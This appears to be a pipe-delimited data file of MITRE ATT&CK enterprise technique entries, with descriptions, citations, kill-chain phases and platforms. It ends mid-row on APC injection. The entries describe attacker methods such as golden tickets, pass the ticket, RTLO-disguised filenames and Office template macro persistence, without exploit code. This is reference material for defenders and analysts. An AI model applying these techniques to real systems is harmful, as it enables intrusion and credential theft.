Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | enterprise-attack | Employee Names | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1589/003 external_id: T1589.003 source_name: OPM Leak description: Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020. url: https://www.opm.gov/cybersecurity/cybersecurity-incidents/ | kill_chain_name: mitre-attack phase_name: reconnaissance | PRE |
Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply) | enterprise-attack | Domain Trust Discovery | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1482 external_id: T1482 source_name: Microsoft Operation Wilysupply description: Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019. url: https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/ source_name: AdSecurity Forging Trust Tickets description: Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019. url: https://adsecurity.org/?p=1588 source_name: Microsoft Trusts description: Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019. url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10) source_name: Microsoft GetAllTrustRelationships description: Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019. url: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships source_name: Harmj0y Domain Trusts description: Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019. url: https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944 | kill_chain_name: mitre-attack phase_name: discovery | Windows |
Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection)
Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)
The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller. | enterprise-attack | Golden Ticket | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1558/001 external_id: T1558.001 source_name: AdSecurity Kerberos GT Aug 2015 description: Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017. url: https://adsecurity.org/?p=1640 source_name: CERT-EU Golden Ticket Protection description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf source_name: ADSecurity Detecting Forged Tickets description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015. url: https://adsecurity.org/?p=1515 source_name: ADSecurity Kerberos and KRBTGT description: Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020. url: https://adsecurity.org/?p=483 source_name: Stealthbits Detect PtT 2019 description: Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020. url: https://blog.stealthbits.com/detect-pass-the-ticket-attacks source_name: Microsoft Kerberos Golden Ticket description: Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020. url: https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285 | kill_chain_name: mitre-attack phase_name: credential-access | Windows |
Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.(Citation: ESET Gamaredon June 2020)
When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). | enterprise-attack | Automated Exfiltration | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1020 external_id: T1020 source_name: ESET Gamaredon June 2020 description: Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020. url: https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/ | kill_chain_name: mitre-attack phase_name: exfiltration | Linux |
Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.
Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | enterprise-attack | Client Configurations | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1592/004 external_id: T1592.004 source_name: ATT ScanBox description: Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020. url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks source_name: ThreatConnect Infrastructure Dec 2020 description: ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021. url: https://threatconnect.com/blog/infrastructure-research-hunting/ | kill_chain_name: mitre-attack phase_name: reconnaissance | PRE |
Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004).
Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)
Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. | enterprise-attack | Disable or Modify Cloud Firewall | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1562/007 external_id: T1562.007 source_name: Expel IO Evil in AWS description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. url: https://expel.io/blog/finding-evil-in-aws/ source_name: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022 description: Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023. url: https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/ | kill_chain_name: mitre-attack phase_name: defense-evasion | IaaS |
Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)
Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. | enterprise-attack | Right-to-Left Override | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1036/002 external_id: T1036.002 source_name: Infosecinstitute RTLO Technique description: Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019. url: https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/ source_name: Trend Micro PLEAD RTLO description: Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019. url: https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/ source_name: Kaspersky RTLO Cyber Crime description: Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019. url: https://securelist.com/zero-day-vulnerability-in-telegram/83800/ | kill_chain_name: mitre-attack phase_name: defense-evasion | Linux |
Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.
In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). | enterprise-attack | Malware | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1588/001 external_id: T1588.001 source_name: FireEyeSupplyChain description: FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017. url: https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop | kill_chain_name: mitre-attack phase_name: resource-development | PRE |
Adversaries may modify component firmware to persist on systems. Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted upon other system components/devices that may not have the same capability or level of integrity checking.
Malicious component firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks. | enterprise-attack | Component Firmware | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1542/002 external_id: T1542.002 source_name: SanDisk SMART description: SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018. source_name: SmartMontools description: smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018. url: https://www.smartmontools.org/ source_name: ITWorld Hard Disk Health Dec 2014 description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018. url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html | kill_chain_name: mitre-attack phase_name: defense-evasion | Windows |
Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. | enterprise-attack | Indicator Removal | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1070 external_id: T1070 | kill_chain_name: mitre-attack phase_name: defense-evasion | Linux |
Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.
Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). | enterprise-attack | Exfiltration Over Symmetric Encrypted Non-C2 Protocol | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1048/001 external_id: T1048.001 source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf | kill_chain_name: mitre-attack phase_name: exfiltration | Linux |
Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)
Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019)
Word Normal.dotm location:<br>
<code>C:\Users\<username>\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>
Excel Personal.xlsb location:<br>
<code>C:\Users\<username>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>
Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\Program Files (x86)\Microsoft Office\root\Office16\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)
An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros. | enterprise-attack | Office Template Macros | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1137/001 external_id: T1137.001 source_name: Microsoft Change Normal Template description: Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017. url: https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea source_name: MSDN VBA in Office description: Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017. url: https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office source_name: enigma0x3 normal.dotm description: Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017. url: https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/ source_name: Hexacorn Office Template Macros description: Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. Retrieved July 3, 2017. url: http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/ source_name: GlobalDotName Jun 2019 description: Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019. url: https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique source_name: CrowdStrike Outlook Forms description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019. url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746 source_name: Outlook Today Home Page description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019. url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943 | kill_chain_name: mitre-attack phase_name: persistence | Windows |
Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.
Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease) | enterprise-attack | Virtual Private Server | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1583/003 external_id: T1583.003 source_name: TrendmicroHideoutsLease description: Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017. url: https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf source_name: ThreatConnect Infrastructure Dec 2020 description: ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021. url: https://threatconnect.com/blog/infrastructure-research-hunting/ source_name: Mandiant SCANdalous Jul 2020 description: Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021. url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation source_name: Koczwara Beacon Hunting Sep 2021 description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021. url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 | kill_chain_name: mitre-attack phase_name: resource-development | PRE |
Adversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:
* Policies, procedures, and standards
* Physical / logical network diagrams
* System architecture diagrams
* Technical system documentation
* Testing / development credentials
* Work / project schedules
* Source code snippets
* Links to network shares and other internal resources
| enterprise-attack | Confluence | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1213/001 external_id: T1213.001 source_name: Atlassian Confluence Logging description: Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018. url: https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html | kill_chain_name: mitre-attack phase_name: collection | SaaS |
Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.
When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)
A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)
A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)
Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash) | enterprise-attack | Pass the Ticket | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1550/003 external_id: T1550.003 source_name: ADSecurity AD Kerberos Attacks description: Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016. url: https://adsecurity.org/?p=556 source_name: GentilKiwi Pass the Ticket description: Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016. url: http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos source_name: Campbell 2014 description: Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014. url: http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf source_name: Stealthbits Overpass-the-Hash description: Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021. url: https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/ source_name: CERT-EU Golden Ticket Protection description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf | kill_chain_name: mitre-attack phase_name: lateral-movement | Windows |
Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)
In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell) | enterprise-attack | Container Administration Command | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1609 external_id: T1609 source_name: Docker Exec description: Docker. (n.d.). Docker Exec. Retrieved March 29, 2021. url: https://docs.docker.com/engine/reference/commandline/exec/ source_name: Docker Entrypoint description: Docker. (n.d.). Docker run reference. Retrieved March 29, 2021. url: https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime source_name: Docker Daemon CLI description: Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021. url: https://docs.docker.com/engine/reference/commandline/dockerd/ source_name: Kubectl Exec Get Shell description: The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021. url: https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/ source_name: Kubernetes Kubelet description: The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021. url: https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/ source_name: Kubernetes API description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021. url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/ | kill_chain_name: mitre-attack phase_name: execution | Containers |
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).(Citation: US-CERT-TA18-106A)
Some files and directories may require elevated or specific user permissions to access. | enterprise-attack | File and Directory Discovery | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1083 external_id: T1083 source_name: Windows Commands JPCERT description: Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016. url: https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A | kill_chain_name: mitre-attack phase_name: discovery | Linux |
Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.
Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity) | enterprise-attack | Dynamic Resolution | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1568 external_id: T1568 source_name: Talos CCleanup 2017 description: Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018. url: http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html source_name: FireEye POSHSPY April 2017 description: Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017. url: https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html source_name: ESET Sednit 2017 Activity description: ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019. url: https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/ source_name: Data Driven Security DGA description: Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019. url: https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/ | kill_chain_name: mitre-attack phase_name: command-and-control | Linux |
Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.
Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis) | enterprise-attack | Masquerade Task or Service | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1036/004 external_id: T1036.004 source_name: Fysbis Dr Web Analysis description: Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017. url: https://vms.drweb.com/virus/?i=4276269 source_name: Palo Alto Shamoon Nov 2016 description: Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017. url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/ source_name: Systemd Service Units description: Freedesktop.org. (n.d.). systemd.service — Service unit configuration. Retrieved March 16, 2020. url: https://www.freedesktop.org/software/systemd/man/systemd.service.html source_name: TechNet Schtasks description: Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016. url: https://technet.microsoft.com/en-us/library/bb490996.aspx | kill_chain_name: mitre-attack phase_name: defense-evasion | Windows |
Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.
APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL).
